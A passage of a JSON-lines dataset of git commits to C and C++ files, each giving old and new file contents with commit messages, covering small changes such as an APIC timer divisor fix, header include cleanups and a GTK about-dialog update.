the register, and for some reason 7 is divide by 1, where as\n\t * the rest are a perfect 2^(n-1). See the intel manual for the\n\t * details. *\/\n\tif (divisor == 0) divisor  = 7;\n\telse              divisor -= 1;\n\n\t\/* Clear the low 4 bits; the rest is reserved and shouldn't be touched. *\/\n\treg &= ~0xf;\n\treg |= (divisor & 0x3) | ((divisor & 0x4)<<1);\n\n\tput32(DIVIDE_CONF, reg);\n\n\t\/** set the lvt entry: **\/\n\tLVTEnt lvt_ent;\n\tlvt_ent.raw = get32(LVT_TIMER);\n\tlvt_ent.v.timer_mode = mode;\n\tlvt_ent.v.vector = int_no;\n\tlvt_ent.v.masked = 0;\n\tput32(LVT_TIMER, lvt_ent.raw);\n\n}\n\nvoid apic_timer_set(uint32_t value) {\n\tput32(INITIAL_COUNT, value);\n}\n","subject":"Clear existing divisor before setting it.","message":"timer: Clear existing divisor before setting it.\n\nThis is just a case of being slightly more diligent; there is not\ncurrently observed behavior change.\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"df7f12046222ae1b263d9148d493182617edc611","old_file":"numeric.h","new_file":"numeric.h","old_contents":"#ifndef H_NUMERIC\n#define H_NUMERIC\n\n#include <cmath>\n#include <limits>\n\ntemplate<class T>\ntypename std::enable_if<!std::numeric_limits<T>::is_integer, bool>::type\n    almost_equal(T x, T y, int ulp=2)\n{\n    \/\/ the machine epsilon has to be scaled to the magnitude of the values used\n    \/\/ and multiplied by the desired precision in ULPs (units in the last place)\n    return std::abs(x-y) <= std::numeric_limits<T>::epsilon() * std::abs(x+y) * ulp\n    \/\/ unless the result is subnormal\n           || std::abs(x-y) < std::numeric_limits<T>::min();\n}\n\ntemplate<class T>\nT half(T x){}\n\ntemplate <>\nfloat half(float x){return 0.5f * x;}\n\ntemplate <>\ndouble half(double x){return 0.5 * x;}\n\n#endif\n","new_contents":"#ifndef H_NUMERIC\n#define H_NUMERIC\n\n#include <cmath>\n#include <limits>\n\n\/**\n * @brief use of machine epsilon to compare floating-point values for equality\n * http:\/\/en.cppreference.com\/w\/cpp\/types\/numeric_limits\/epsilon\n *\/\ntemplate<class T>\ntypename std::enable_if<!std::numeric_limits<T>::is_integer, bool>::type\n    almost_equal(T x, T y, int ulp=2)\n{\n    \/\/ the machine epsilon has to be scaled to the magnitude of the values used\n    \/\/ and multiplied by the desired precision in ULPs (units in the last place)\n    return std::abs(x-y) <= std::numeric_limits<T>::epsilon() * std::abs(x+y) * ulp\n    \/\/ unless the result is subnormal\n        || std::abs(x-y) < std::numeric_limits<T>::min();\n}\n\ntemplate<class T>\nT half(T x){}\n\ntemplate <>\nfloat half(float x){return 0.5f * x;}\n\ntemplate <>\ndouble half(double x){return 0.5 * x;}\n\n#endif\n","subject":"Add reference for almost_equal function","message":"Add reference for almost_equal function\n","lang":"C","license":"mit","repos":"Bl4ckb0ne\/delaunay-triangulation"}
{"commit":"c6eadf70db6113900a61674fd7195a9977f428a5","old_file":"RealmSwift\/Tests\/TestUtils.h","new_file":"RealmSwift\/Tests\/TestUtils.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2015 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import <XCTest\/XCTestCase.h>\n\n\/\/ An XCTestCase that invokes each test in an autorelease pool\n\/\/ Works around a swift 1.1 limitation where `super` can't be used in a block\n@interface RLMAutoreleasePoolTestCase : XCTestCase\n@end\n\nFOUNDATION_EXTERN void RLMAssertThrows(XCTestCase *self, dispatch_block_t block, NSString *message, NSString *fileName, NSUInteger lineNumber);\n\n\/\/ Forcibly deallocate the RLMRealm for the given path on the main thread\n\/\/ Will cause crashes if it's alive for a reason other than being leaked by RLMAssertThrows\nFOUNDATION_EXTERN void RLMDeallocateRealm(NSString *path);\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2015 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import <XCTest\/XCTestCase.h>\n\n\/\/ An XCTestCase that invokes each test in an autorelease pool\n\/\/ Works around a swift 1.1 limitation where `super` can't be used in a block\n@interface RLMAutoreleasePoolTestCase : XCTestCase\n@end\n\nFOUNDATION_EXTERN void RLMAssertThrows(XCTestCase *self, __attribute__((noescape)) dispatch_block_t block, NSString *message, NSString *fileName, NSUInteger lineNumber);\n\n\/\/ Forcibly deallocate the RLMRealm for the given path on the main thread\n\/\/ Will cause crashes if it's alive for a reason other than being leaked by RLMAssertThrows\nFOUNDATION_EXTERN void RLMDeallocateRealm(NSString *path);\n","subject":"Annotate RLMAssertThrows' block argument with noescape","message":"[Tests] Annotate RLMAssertThrows' block argument with noescape\n","lang":"C","license":"apache-2.0","repos":"duk42111\/realm-cocoa,ul7290\/realm-cocoa,codyDu\/realm-cocoa,kylebshr\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,bugix\/realm-cocoa,bestwpw\/realm-cocoa,yuuki1224\/realm-cocoa,nathankot\/realm-cocoa,xmartlabs\/realm-cocoa,lumoslabs\/realm-cocoa,codyDu\/realm-cocoa,lumoslabs\/realm-cocoa,imjerrybao\/realm-cocoa,lumoslabs\/realm-cocoa,Palleas\/realm-cocoa,bestwpw\/realm-cocoa,kylebshr\/realm-cocoa,sunzeboy\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,isaacroldan\/realm-cocoa,Havi4\/realm-cocoa,ChenJian345\/realm-cocoa,thdtjsdn\/realm-cocoa,thdtjsdn\/realm-cocoa,neonichu\/realm-cocoa,kevinmlong\/realm-cocoa,vuchau\/realm-cocoa,vuchau\/realm-cocoa,hejunbinlan\/realm-cocoa,dilizarov\/realm-cocoa,lumoslabs\/realm-cocoa,tenebreux\/realm-cocoa,vuchau\/realm-cocoa,bestwpw\/realm-cocoa,bugix\/realm-cocoa,tenebreux\/realm-cocoa,hejunbinlan\/realm-cocoa,duk42111\/realm-cocoa,ul7290\/realm-cocoa,dilizarov\/realm-cocoa,tenebreux\/realm-cocoa,thdtjsdn\/realm-cocoa,sunzeboy\/realm-cocoa,bestwpw\/realm-cocoa,imjerrybao\/realm-cocoa,iOSCowboy\/realm-cocoa,HuylensHu\/realm-cocoa,yuuki1224\/realm-cocoa,Palleas\/realm-cocoa,zilaiyedaren\/realm-cocoa,ul7290\/realm-cocoa,sunfei\/realm-cocoa,Palleas\/realm-cocoa,kevinmlong\/realm-cocoa,neonichu\/realm-cocoa,ChenJian345\/realm-cocoa,zilaiyedaren\/realm-cocoa,iOSCowboy\/realm-cocoa,sunzeboy\/realm-cocoa,ChenJian345\/realm-cocoa,xmartlabs\/realm-cocoa,kylebshr\/realm-cocoa,duk42111\/realm-cocoa,sunfei\/realm-cocoa,isaacroldan\/realm-cocoa,isaacroldan\/realm-cocoa,zilaiyedaren\/realm-cocoa,nathankot\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,sunzeboy\/realm-cocoa,iOSCowboy\/realm-cocoa,isaacroldan\/realm-cocoa,brasbug\/realm-cocoa,tenebreux\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,Havi4\/realm-cocoa,Havi4\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,iOSCowboy\/realm-cocoa,sunzeboy\/realm-cocoa,kevinmlong\/realm-cocoa,isaacroldan\/realm-cocoa,lumoslabs\/realm-cocoa,neonichu\/realm-cocoa,codyDu\/realm-cocoa,ul7290\/realm-cocoa,nathankot\/realm-cocoa,hejunbinlan\/realm-cocoa,brasbug\/realm-cocoa,codyDu\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,yuuki1224\/realm-cocoa,zilaiyedaren\/realm-cocoa,vuchau\/realm-cocoa,imjerrybao\/realm-cocoa,kylebshr\/realm-cocoa,dilizarov\/realm-cocoa,HuylensHu\/realm-cocoa,kylebshr\/realm-cocoa,zilaiyedaren\/realm-cocoa,Havi4\/realm-cocoa,hejunbinlan\/realm-cocoa,brasbug\/realm-cocoa,HuylensHu\/realm-cocoa,hejunbinlan\/realm-cocoa,codyDu\/realm-cocoa,Palleas\/realm-cocoa,Palleas\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,HuylensHu\/realm-cocoa,bestwpw\/realm-cocoa,xmartlabs\/realm-cocoa,ul7290\/realm-cocoa,nathankot\/realm-cocoa,duk42111\/realm-cocoa,yuuki1224\/realm-cocoa,bugix\/realm-cocoa,thdtjsdn\/realm-cocoa,Havi4\/realm-cocoa,bugix\/realm-cocoa,HuylensHu\/realm-cocoa,ChenJian345\/realm-cocoa,sunfei\/realm-cocoa,xmartlabs\/realm-cocoa,imjerrybao\/realm-cocoa,neonichu\/realm-cocoa,brasbug\/realm-cocoa,bugix\/realm-cocoa,sunfei\/realm-cocoa,iOSCowboy\/realm-cocoa,neonichu\/realm-cocoa,yuuki1224\/realm-cocoa,ChenJian345\/realm-cocoa,duk42111\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,kevinmlong\/realm-cocoa,kevinmlong\/realm-cocoa,dilizarov\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,tenebreux\/realm-cocoa,dilizarov\/realm-cocoa,imjerrybao\/realm-cocoa,nathankot\/realm-cocoa,sunfei\/realm-cocoa,xmartlabs\/realm-cocoa,thdtjsdn\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,vuchau\/realm-cocoa,brasbug\/realm-cocoa"}
{"commit":"9cd2e510651ddb2d7fb927ad1ac1234488487e3e","old_file":"chrome\/browser\/thumbnail_store.h","new_file":"chrome\/browser\/thumbnail_store.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_THUMBNAIL_STORE_H_\n#define CHROME_BROWSER_THUMBNAIL_STORE_H_\n\n#include <vector>\n\n#include \"base\/file_path.h\"\n\nclass GURL;\nclass SkBitmap;\nstruct ThumbnailScore;\nnamespace base {\nclass Time;\n}\n\n\/\/ This storage interface provides storage for the thumbnails used\n\/\/ by the new_tab_ui.\nclass ThumbnailStore {\n public:\n  ThumbnailStore();\n  ~ThumbnailStore();\n\n  \/\/ Must be called after creation but before other methods are called.\n  \/\/ file_path is where a new database should be created or the\n  \/\/ location of an existing databse.\n  \/\/ If false is returned, no other methods should be called.\n  bool Init(const FilePath& file_path);\n\n  \/\/ Stores the given thumbnail and score with the associated url.\n  bool SetPageThumbnail(const GURL& url,\n                        const SkBitmap& thumbnail,\n                        const ThumbnailScore& score,\n                        const base::Time& time);\n\n  \/\/ Retrieves the thumbnail and score for the given url.\n  \/\/ Returns false if there is not data for the given url or some other\n  \/\/ error occurred.\n  bool GetPageThumbnail(const GURL& url,\n                        SkBitmap* thumbnail,\n                        ThumbnailScore* score);\n\n private:\n  \/\/ The location of the thumbnail store.\n  FilePath file_path_;\n\n  DISALLOW_COPY_AND_ASSIGN(ThumbnailStore);\n};\n\n#endif  \/\/ CHROME_BROWSER_THUMBNAIL_STORE_H_\n","subject":"Add an unused interface for storing thumbnails. This is to replace the history system's thumbnail storage.","message":"Add an unused interface for storing thumbnails. This is to replace the history\nsystem's thumbnail storage.\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@17028 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 7a580059421cef931317be498a7334eee5d6f2d2","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"c0ae1b727985d3e94549776666a9f0929cbac090","old_file":"include\/erpiko\/bigint.h","new_file":"include\/erpiko\/bigint.h","old_contents":"#ifndef _BIGINT_H_\n#define _BIGINT_H_\n\n#include <memory>\n\nnamespace Erpiko {\n\n  \/**\n   * BigInt is the class of big integer representation.\n   *\/\nclass BigInt {\n  public:\n    \/**\n     * Constructor\n     *\/\n    BigInt();\n\n    \/**\n     * Constructor from long integer\n     * @param value to be initialized\n     *\/\n    BigInt(unsigned long value);\n\n    \/**\n     * Creates a new BigInt and initialized with the value specified in the string\n     * @param string string containing the value. If it is prefixed with 0x then it is considered as hex string\n     * @return the new BigInt with the value set\n     *\/\n    static BigInt* fromString(const std::string string);\n    virtual ~BigInt();\n\n    \/**\n     * Creates hex string representation of the BigInt\n     * @return string containing hex string\n     *\/\n    const std::string toHexString() const;\n\n    \/**\n     * Operator ==\n     **\/\n    bool operator== (const BigInt& other) const;\n\n    \/**\n     * Operator =\n     **\/\n    void operator= (const BigInt& other);\n\n    \/**\n     * Operator =\n     **\/\n    void operator= (const unsigned long value);\n\n    \/**\n     * Operator =.\n     * @param string the new value specified as string. String must be valid or the value will not change.\n     **\/\n    void operator= (const std::string string);\n\n\n  private:\n    class Impl;\n    std::unique_ptr<Impl> impl;\n};\n\n} \/\/ namespace Erpiko\n#endif \/\/ _BIGINT_H_\n","new_contents":"#ifndef _BIGINT_H_\n#define _BIGINT_H_\n\n#include <string>\n#include <memory>\n\nnamespace Erpiko {\n\n  \/**\n   * BigInt is the class of big integer representation.\n   *\/\nclass BigInt {\n  public:\n    \/**\n     * Constructor\n     *\/\n    BigInt();\n\n    \/**\n     * Constructor from long integer\n     * @param value to be initialized\n     *\/\n    BigInt(unsigned long value);\n\n    \/**\n     * Creates a new BigInt and initialized with the value specified in the string\n     * @param string string containing the value. If it is prefixed with 0x then it is considered as hex string\n     * @return the new BigInt with the value set\n     *\/\n    static BigInt* fromString(const std::string string);\n    virtual ~BigInt();\n\n    \/**\n     * Creates hex string representation of the BigInt\n     * @return string containing hex string\n     *\/\n    const std::string toHexString() const;\n\n    \/**\n     * Operator ==\n     **\/\n    bool operator== (const BigInt& other) const;\n\n    \/**\n     * Operator =\n     **\/\n    void operator= (const BigInt& other);\n\n    \/**\n     * Operator =\n     **\/\n    void operator= (const unsigned long value);\n\n    \/**\n     * Operator =.\n     * @param string the new value specified as string. String must be valid or the value will not change.\n     **\/\n    void operator= (const std::string string);\n\n\n  private:\n    class Impl;\n    std::unique_ptr<Impl> impl;\n};\n\n} \/\/ namespace Erpiko\n#endif \/\/ _BIGINT_H_\n","subject":"Add <string> explicitly for Windows complaining without it","message":"Add <string> explicitly for Windows complaining without it\n","lang":"C","license":"bsd-3-clause","repos":"mdamt\/erpiko,mdamt\/erpiko,mdamt\/erpiko"}
{"commit":"469d2ae14fdeeb192a0f152978f433cd2bed840e","old_file":"core\/alsp_src\/win32\/win32_locate.c","new_file":"core\/alsp_src\/win32\/win32_locate.c","old_contents":"#include \"defs.h\"\n\nvoid locate_library_executable(int argc, char *argv[])\n{\n    DWORD l;\n    char *endpath;\n#ifdef DLL\n\tHANDLE dll;\n#endif\n    \n    l = GetModuleFileName(NULL, executable_path, IMAGEDIR_MAX);\n    if (l == 0 || l >= IMAGEDIR_MAX) fatal_error(FE_INFND, 0);\n\n#ifdef DLL\n    dll = GetModuleHandle(DLL_NAME);\n    if (dll == NULL) fatal_error(FE_INFND, 0);\n    \n    l = GetModuleFileName(dll, library_path, IMAGEDIR_MAX);\n    if (l == 0 || l >= IMAGEDIR_MAX) fatal_error(FE_INFND, 0);\n#else\n\tstrcpy(library_path, executable_path);\n#endif \/* DLL *\/\n\n\tstrcpy(library_dir, library_path);\n\n    endpath = strrchr(library_dir, '\\\\');\n    if (endpath == NULL) fatal_error(FE_INFND, 0);\n    endpath++;  \/* include the \\ *\/\n    *endpath = 0;\n}\n","new_contents":"#include \"defs.h\"\n\nvoid locate_library_executable(int argc, char *argv[])\n{\n    DWORD l;\n    char *endpath;\n#ifdef DLL\n\tHANDLE dll;\n#endif\n    \n    l = GetModuleFileName(NULL, executable_path, PATH_MAX);\n    if (l == 0 || l >= PATH_MAX) fatal_error(FE_INFND, 0);\n\n#ifdef DLL\n    dll = GetModuleHandle(DLL_NAME);\n    if (dll == NULL) fatal_error(FE_INFND, 0);\n    \n    l = GetModuleFileName(dll, library_path, PATH_MAX);\n    if (l == 0 || l >= PATH_MAX) fatal_error(FE_INFND, 0);\n#else\n\tstrcpy(library_path, executable_path);\n#endif \/* DLL *\/\n\n\tstrcpy(library_dir, library_path);\n\n    endpath = strrchr(library_dir, '\\\\');\n    if (endpath == NULL) fatal_error(FE_INFND, 0);\n    endpath++;  \/* include the \\ *\/\n    *endpath = 0;\n}\n","subject":"Replace custom IMAGEDIR_MAX with PATH_MAX, ala 13616d1","message":"Replace custom IMAGEDIR_MAX with PATH_MAX, ala 13616d1\n","lang":"C","license":"mit","repos":"AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog"}
{"commit":"c6f56c9c3b29fd74859f237e7357322f4ac9574e","old_file":"ghighlighter\/gh-about-dialog.c","new_file":"ghighlighter\/gh-about-dialog.c","old_contents":"#include <gtk\/gtk.h>\n\nGtkWidget *\ngh_about_dialog_create ()\n{\n  GtkWidget *dialog;\n\n  dialog = gtk_about_dialog_new ();\n\n  static gchar const *title = \"About ghighlighter\";\n\n  gtk_window_set_title (GTK_WINDOW (dialog), title);\n\n  return dialog;\n}\n","new_contents":"#include <gtk\/gtk.h>\n\nGtkWidget *\ngh_about_dialog_create ()\n{\n  GtkWidget *dialog;\n\n  dialog = gtk_about_dialog_new ();\n\n  static gchar const *title = \"About ghighlighter\";\n  static gchar const *program_name = \"ghighlighter\";\n\n  gtk_window_set_title (GTK_WINDOW (dialog), title);\n  gtk_about_dialog_set_program_name (GTK_ABOUT_DIALOG (dialog), program_name);\n\n  return dialog;\n}\n","subject":"Set about dialog program name","message":"Set about dialog program name\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"bb4c88c29ab312e2be118ac857daa7c93399d6e1","old_file":"src\/include\/postmaster\/fork_process.h","new_file":"src\/include\/postmaster\/fork_process.h","old_contents":"#ifndef FORK_PROCESS_H\n#define FORK_PROCESS_H\n\n#include \"postgres.h\"\n\nextern pid_t fork_process(void);\n\n#endif \/* ! FORK_PROCESS_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * fork_process.h\n *\t  Exports from postmaster\/fork_process.c.\n *\n * Copyright (c) 1996-2005, PostgreSQL Global Development Group\n *\n * $PostgreSQL: pgsql\/src\/include\/postmaster\/fork_process.h,v 1.2 2005\/03\/13 23:32:26 tgl Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef FORK_PROCESS_H\n#define FORK_PROCESS_H\n\nextern pid_t fork_process(void);\n\n#endif \/* FORK_PROCESS_H *\/\n","subject":"Add missing identification comment, remove entirely inappropriate include of postgres.h.","message":"Add missing identification comment, remove entirely inappropriate include\nof postgres.h.\n","lang":"C","license":"apache-2.0","repos":"50wu\/gpdb,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,rubikloud\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,xinzweb\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,ahachete\/gpdb,lpetrov-pivotal\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,oberstet\/postgres-xl,ovr\/postgres-xl,xuegang\/gpdb,yuanzhao\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,snaga\/postgres-xl,cjcjameson\/gpdb,Quikling\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,rubikloud\/gpdb,randomtask1155\/gpdb,oberstet\/postgres-xl,chrishajas\/gpdb,pavanvd\/postgres-xl,kmjungersen\/PostgresXL,royc1\/gpdb,50wu\/gpdb,lintzc\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,yazun\/postgres-xl,CraigHarris\/gpdb,CraigHarris\/gpdb,snaga\/postgres-xl,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,Quikling\/gpdb,foyzur\/gpdb,atris\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,tangp3\/gpdb,ovr\/postgres-xl,jmcatamney\/gpdb,Postgres-XL\/Postgres-XL,greenplum-db\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,tangp3\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,lintzc\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,yuanzhao\/gpdb,snaga\/postgres-xl,yazun\/postgres-xl,yuanzhao\/gpdb,arcivanov\/postgres-xl,zeroae\/postgres-xl,Chibin\/gpdb,ashwinstar\/gpdb,0x0FFF\/gpdb,postmind-net\/postgres-xl,xinzweb\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,rubikloud\/gpdb,tangp3\/gpdb,cjcjameson\/gpdb,Postgres-XL\/Postgres-XL,lpetrov-pivotal\/gpdb,ashwinstar\/gpdb,0x0FFF\/gpdb,ahachete\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,ahachete\/gpdb,foyzur\/gpdb,edespino\/gpdb,ahachete\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,janebeckman\/gpdb,pavanvd\/postgres-xl,janebeckman\/gpdb,50wu\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,tangp3\/gpdb,tpostgres-projects\/tPostgres,tpostgres-projects\/tPostgres,rvs\/gpdb,jmcatamney\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,postmind-net\/postgres-xl,lisakowen\/gpdb,lintzc\/gpdb,pavanvd\/postgres-xl,atris\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,Quikling\/gpdb,oberstet\/postgres-xl,janebeckman\/gpdb,edespino\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,atris\/gpdb,chrishajas\/gpdb,oberstet\/postgres-xl,lisakowen\/gpdb,CraigHarris\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,royc1\/gpdb,Postgres-XL\/Postgres-XL,zaksoup\/gpdb,yazun\/postgres-xl,yuanzhao\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,chrishajas\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,lintzc\/gpdb,arcivanov\/postgres-xl,Quikling\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,Postgres-XL\/Postgres-XL,janebeckman\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,atris\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,edespino\/gpdb,foyzur\/gpdb,foyzur\/gpdb,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,jmcatamney\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,rvs\/gpdb,tpostgres-projects\/tPostgres,rubikloud\/gpdb,rvs\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,CraigHarris\/gpdb,50wu\/gpdb,xuegang\/gpdb,kmjungersen\/PostgresXL,zaksoup\/gpdb,janebeckman\/gpdb,rubikloud\/gpdb,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,jmcatamney\/gpdb,postmind-net\/postgres-xl,royc1\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,yuanzhao\/gpdb,chrishajas\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,arcivanov\/postgres-xl,postmind-net\/postgres-xl,randomtask1155\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,xuegang\/gpdb,edespino\/gpdb,adam8157\/gpdb,50wu\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,tpostgres-projects\/tPostgres,lintzc\/gpdb,0x0FFF\/gpdb,zeroae\/postgres-xl,xuegang\/gpdb,tpostgres-projects\/tPostgres,xuegang\/gpdb,ovr\/postgres-xl,lpetrov-pivotal\/gpdb,ashwinstar\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,adam8157\/gpdb,rvs\/gpdb,Quikling\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,edespino\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,royc1\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,yazun\/postgres-xl,randomtask1155\/gpdb,zaksoup\/gpdb,foyzur\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,atris\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,jmcatamney\/gpdb,postmind-net\/postgres-xl,techdragon\/Postgres-XL,0x0FFF\/gpdb,greenplum-db\/gpdb,arcivanov\/postgres-xl,lisakowen\/gpdb,Quikling\/gpdb,Quikling\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,atris\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,adam8157\/gpdb,ovr\/postgres-xl,snaga\/postgres-xl,tangp3\/gpdb,rvs\/gpdb,royc1\/gpdb,greenplum-db\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,yuanzhao\/gpdb,atris\/gpdb,rubikloud\/gpdb,rubikloud\/gpdb,randomtask1155\/gpdb,Postgres-XL\/Postgres-XL,janebeckman\/gpdb,royc1\/gpdb,lintzc\/gpdb,foyzur\/gpdb,50wu\/gpdb,ahachete\/gpdb,greenplum-db\/gpdb,techdragon\/Postgres-XL,rvs\/gpdb"}
